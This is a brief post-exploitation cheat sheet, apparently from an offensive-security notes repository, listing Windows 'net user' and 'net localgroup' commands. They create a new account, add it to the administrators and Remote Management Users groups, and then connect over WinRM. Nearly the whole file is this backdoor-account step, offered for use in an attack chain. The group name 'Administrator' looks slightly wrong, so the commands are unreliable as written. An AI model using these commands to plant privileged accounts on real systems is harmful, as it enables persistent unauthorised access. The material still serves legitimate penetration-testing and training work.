killchain-compendium/post_exploitation/priv_esc/docs/windows/add_user.md

246 B

Add user as system user

net user <username> <password> /add
net localgroup Administrator <username> /add
net localgroup "Remote Management Users" <username> /add
net user <username>
  • connect via winRM